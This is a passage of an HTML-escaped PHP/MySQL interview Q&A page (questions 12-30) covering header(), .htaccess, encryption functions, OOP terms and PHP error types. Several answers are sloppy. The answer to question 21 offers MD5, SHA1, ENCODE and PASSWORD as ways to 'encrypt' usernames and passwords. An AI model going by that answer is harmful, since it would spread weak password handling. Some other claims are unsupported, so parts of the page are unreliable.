5. &lt;b&gt;BDB (BerkeleyDB)&lt;/b&gt;(Sleepycat Software has provided MySQL with  the  Berkeley DB transactional storage engine. This storage engine  typically is  called BDB for short. BDB tables may have a greater chance  of surviving crashes and are also capable of COMMIT and ROLLBACK  operations on transactions)  &lt;br /&gt;
6. &lt;b&gt;EXAMPLE &lt;/b&gt;&lt;br /&gt;
7. &lt;b&gt;FEDERATED &lt;/b&gt;(It is a storage engine that accesses data in tables of remote databases rather than in local tables. )&lt;br /&gt;
8. &lt;b&gt;ARCHIVE &lt;/b&gt;(The ARCHIVE storage engine is used for storing large amounts of  data without indexes in a very small footprint. )&lt;br /&gt;
9. &lt;b&gt;CSV &lt;/b&gt;(The CSV storage engine stores data in &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD1&quot;&gt;text files&lt;/span&gt; using comma-separated values format.)&lt;br /&gt;
10.&lt;b&gt; BLACKHOLE&lt;/b&gt; (The BLACKHOLE storage engine acts as a &quot;black  hole&quot;  that accepts data but throws it away and does not store it.   Retrievals always return an empty result)  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 12&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt; &amp;nbsp;What is use of header() function in php ? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 12&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The header() function sends a raw HTTP header to a client.We can use herder() &lt;br /&gt;
function for redirection of pages. It is important to notice that header() must&lt;br /&gt;
be called before any actual output is seen..&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 13&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can I execute a PHP script using command line? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 13&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Just run the PHP CLI (Command Line Interface) program and&lt;br /&gt;
provide the PHP script file name as the command line argument.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 14&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;Suppose your Zend engine supports the mode &lt;!--? ?--&gt; Then how can u&lt;br /&gt;
configure your PHP Zend engine to support &lt;!--?PHP ?--&gt; mode ? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 14&lt;/b&gt;&lt;/td&gt; &lt;td&gt;In php.ini file:&lt;br /&gt;
set&lt;br /&gt;
&lt;b&gt;short_open_tag=on&lt;/b&gt;&lt;br /&gt;
to make PHP support&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 15&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;&lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD7&quot;&gt;Shopping cart&lt;/span&gt; online validation i.e. how can we configure &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD3&quot;&gt;Paypal&lt;/span&gt;,&lt;br /&gt;
etc.? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 15&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Nothing more we have to do only redirect to the payPal url after&lt;br /&gt;
submit all information needed by paypal like amount,adresss etc. &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 16&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is meant by nl2br()? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 16&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Inserts HTML line breaks (&lt;br /&gt;
) before all newlines in a string.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 17&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD12&quot;&gt;htaccess&lt;/span&gt;? Why do we use this and Where? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 17&lt;/b&gt;&lt;/td&gt; &lt;td&gt;.htaccess files are configuration files of Apache &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD9&quot;&gt;Server&lt;/span&gt; which provide&lt;br /&gt;
a way to make configuration changes on a per-directory basis. A file, &lt;br /&gt;
containing one or more configuration directives, is placed in a particular&lt;br /&gt;
document directory, and the directives apply to that directory, and all &lt;br /&gt;
subdirectories thereof.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 18&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How we get IP address of client, previous reference page etc ? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 18&lt;/b&gt;&lt;/td&gt; &lt;td&gt;By using $_SERVER[&#39;REMOTE_ADDR&#39;],$_SERVER[&#39;HTTP_REFERER&#39;] etc.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 19&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the reasons for selecting lamp (Linux, apache, MySQL,&lt;br /&gt;
PHP) instead of combination of other software programs, &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD11&quot;&gt;servers&lt;/span&gt; and&lt;br /&gt;
operating systems? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 19&lt;/b&gt;&lt;/td&gt; &lt;td&gt;All of those are open source resource. Security of Linux is very&lt;br /&gt;
very more than windows. Apache is a better server that IIS both in&lt;br /&gt;
functionality and security. MySQL is world most popular open source&lt;br /&gt;
database. PHP is more faster that asp or any other scripting language.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 20&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we encrypt and decrypt a data present in a MySQL table&lt;br /&gt;
using MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 20&lt;/b&gt;&lt;/td&gt; &lt;td&gt;AES_ENCRYPT () and AES_DECRYPT ()&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 21&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we encrypt the username and password using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 21&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The functions in this section perform encryption and decryption, and&lt;br /&gt;
compression and uncompression: &lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt;&lt;span class=&quot;bold&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;encryption&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span class=&quot;bold&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;decryption&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;AES_ENCRYT()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;AES_DECRYPT()&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;ENCODE()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;DECODE()&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;DES_ENCRYPT()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;DES_DECRYPT()&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;ENCRYPT()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Not available&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;MD5()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Not available&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;OLD_PASSWORD()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Not available&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;PASSWORD()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Not available&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;SHA() or SHA1()&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Not available&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Not available&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;UNCOMPRESSED_LENGTH()&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 22&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the features and advantages of object-oriented&lt;br /&gt;
programming? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 22&lt;/b&gt;&lt;/td&gt; &lt;td&gt;One of the main advantages of OO programming is its ease of&lt;br /&gt;
modification; objects can easily be modified and &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD4&quot;&gt;added&lt;/span&gt; to a system there&lt;br /&gt;
by reducing maintenance costs. OO programming is also considered to be&lt;br /&gt;
better at modeling the real world than is procedural programming. It&lt;br /&gt;
allows for more complicated and flexible interactions. OO systems are&lt;br /&gt;
also easier for non-technical personnel to understand and easier for&lt;br /&gt;
them to participate in the maintenance and enhancement of a system&lt;br /&gt;
because it appeals to natural human cognition patterns.&lt;br /&gt;
For some systems, an OO approach can speed development time since many&lt;br /&gt;
objects are standard across systems and can be reused. Components that&lt;br /&gt;
manage dates, shipping, &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD8&quot;&gt;shopping carts&lt;/span&gt;, etc. can be purchased and easily&lt;br /&gt;
modified for a specific system&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 23&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the differences between procedure-oriented languages and&lt;br /&gt;
object-oriented languages? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 23&lt;/b&gt;&lt;/td&gt; &lt;td&gt;There are lot of difference between procedure language and object oriented like below&lt;br /&gt;
1&amp;gt;Procedure language easy for new developer but complex to understand whole software as compare to object oriented model&lt;br /&gt;
2&amp;gt;In Procedure language it is difficult to use design pattern  mvc ,   Singleton pattern etc but in OOP you we able to develop design pattern&lt;br /&gt;
3&amp;gt;IN OOP language we able to ree use code like Inheritance   ,polymorphism  etc but this type of thing not available in procedure   language  on that  our Fonda use COPY and PASTE .&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 24&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the use of friend function? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 24&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Sometimes a function is best shared among a number of different&lt;br /&gt;
classes. Such functions can be declared either as member functions of&lt;br /&gt;
one class or as global functions. In either case they can be set to be&lt;br /&gt;
friends of other classes, by using a friend specifier in the class that&lt;br /&gt;
is admitting them. Such functions can use all attributes of the class&lt;br /&gt;
which names them as a friend, as if they were themselves members of that&lt;br /&gt;
class.&lt;br /&gt;
A friend declaration is essentially a prototype for a member function,&lt;br /&gt;
but instead of requiring an implementation with the name of that class&lt;br /&gt;
attached by the double colon syntax, a global function or member&lt;br /&gt;
function of another class provides the match.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 25&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the differences between public, private, protected,&lt;br /&gt;
static, transient, final and volatile? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 25&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;b&gt;Public:&lt;/b&gt; Public declared items can be accessed everywhere.&lt;br /&gt;
&lt;b&gt;Protected:&lt;/b&gt; Protected limits access to inherited and parent&lt;br /&gt;
classes (and to the class that defines the item).&lt;br /&gt;
&lt;b&gt;Private:&lt;/b&gt; Private limits visibility only to the class that defines&lt;br /&gt;
the item.&lt;br /&gt;
&lt;b&gt;Static:&lt;/b&gt; A static variable exists only in a local function scope,&lt;br /&gt;
but it does not lose its value when program execution leaves this scope.&lt;br /&gt;
&lt;b&gt;Final:&lt;/b&gt; Final keyword prevents child classes from overriding a&lt;br /&gt;
method by prefixing the definition with final. If the class itself is&lt;br /&gt;
being defined final then it cannot be extended.&lt;br /&gt;
&lt;b&gt;transient:  &lt;/b&gt;A transient variable is a variable that may not&lt;br /&gt;
be serialized. &lt;b&gt;&lt;br /&gt;
volatile:&lt;/b&gt; a variable that might be concurrently modified by multiple&lt;br /&gt;
threads should be declared volatile. Variables declared to be volatile&lt;br /&gt;
will not be optimized by the compiler because their value can change at&lt;br /&gt;
any time.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 26&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the different types of errors in PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 26&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Three are three types of errors:1. Notices: These are trivial,&lt;br /&gt;
non-critical errors that PHP encounters while executing a script â€“ for&lt;br /&gt;
example, accessing a variable that has not yet been defined. By default,&lt;br /&gt;
such errors are not displayed to the user at all â€“ although, as you will&lt;br /&gt;
see, you can change this default behavior.2. Warnings: These are more serious errors â€“ for example, attempting&lt;br /&gt;
to include() a file which does not exist. By default, these errors are&lt;br /&gt;
displayed to the user, but they do not result in script termination.3. Fatal errors: These are critical errors â€“ for example,&lt;br /&gt;
instantiating an object of a non-existent class, or calling a&lt;br /&gt;
non-existent function. These errors cause the immediate termination of&lt;br /&gt;
the script, and PHP&#39;s default behavior is to display them to the user&lt;br /&gt;
when they take place.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 27&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the functionality of the function strstr and stristr? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 27&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;b&gt;strstr&lt;/b&gt; Returns part of string from the first occurrence of needle(sub string that we finding out ) to the end of string. &lt;br /&gt;
$email= &#39;sonialouder@gmail.com&#39;;&lt;br /&gt;
$domain = strstr($email, &#39;@&#39;);&lt;br /&gt;
echo $domain; // prints @gmail.com&lt;br /&gt;
here @ is the needle &lt;br /&gt;
&lt;b&gt;stristr&lt;/b&gt; is case-insensitive means able not able to diffrenciate  between a and A    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 28&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the differences between PHP 3 and PHP 4 and PHP 5? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 28&lt;/b&gt;&lt;/td&gt; &lt;td&gt;There are lot of difference among these three version of php&lt;br /&gt;
1&amp;gt;Php3 is oldest version after that php4 came and current version is php5 (php5.3) where php6 have to come &lt;br /&gt;
2&amp;gt;Difference mean oldest version have less functionality as compare   to new one like php5 have all OOPs concept now where as php3 was pure   procedural language constructive like C  &lt;br /&gt;
&lt;b&gt;In PHP5 &lt;/b&gt; 1. Implementation of exceptions and exception handling&lt;br /&gt;
2. Type hinting which allows you to force the type of a specific argument&lt;br /&gt;
3. Overloading of methods through the __call function&lt;br /&gt;
4. Full constructors and destructors etc through a __constuctor and __destructor function&lt;br /&gt;
5. __autoload function for dynamically including certain include files depending on the class you are trying to create.&lt;br /&gt;
6 Finality : can now use the final keyword to indicate that a method   cannot be overridden by a child. You can also declare an entire class as   final which prevents it from having any children at all.&lt;br /&gt;
7 Interfaces &amp;amp; Abstract Classes&lt;br /&gt;
8 Passed by Reference : &lt;br /&gt;
9 An __clone method if you really want to duplicate an object  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 29&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we convert asp pages to PHP pages? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 29&lt;/b&gt;&lt;/td&gt; &lt;td&gt;there are lots of tools available for asp to PHP conversion. you can&lt;br /&gt;
search Google for that. the best one is available  at&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 30&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the functionality of the function htmlentities? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 30&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Convert all applicable characters to HTML entities&lt;br /&gt;
This function is identical to htmlspecialchars() in all ways, except&lt;br /&gt;
with htmlentities(), all characters which have HTML character entity&lt;br /&gt;
equivalents are translated into these entities.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
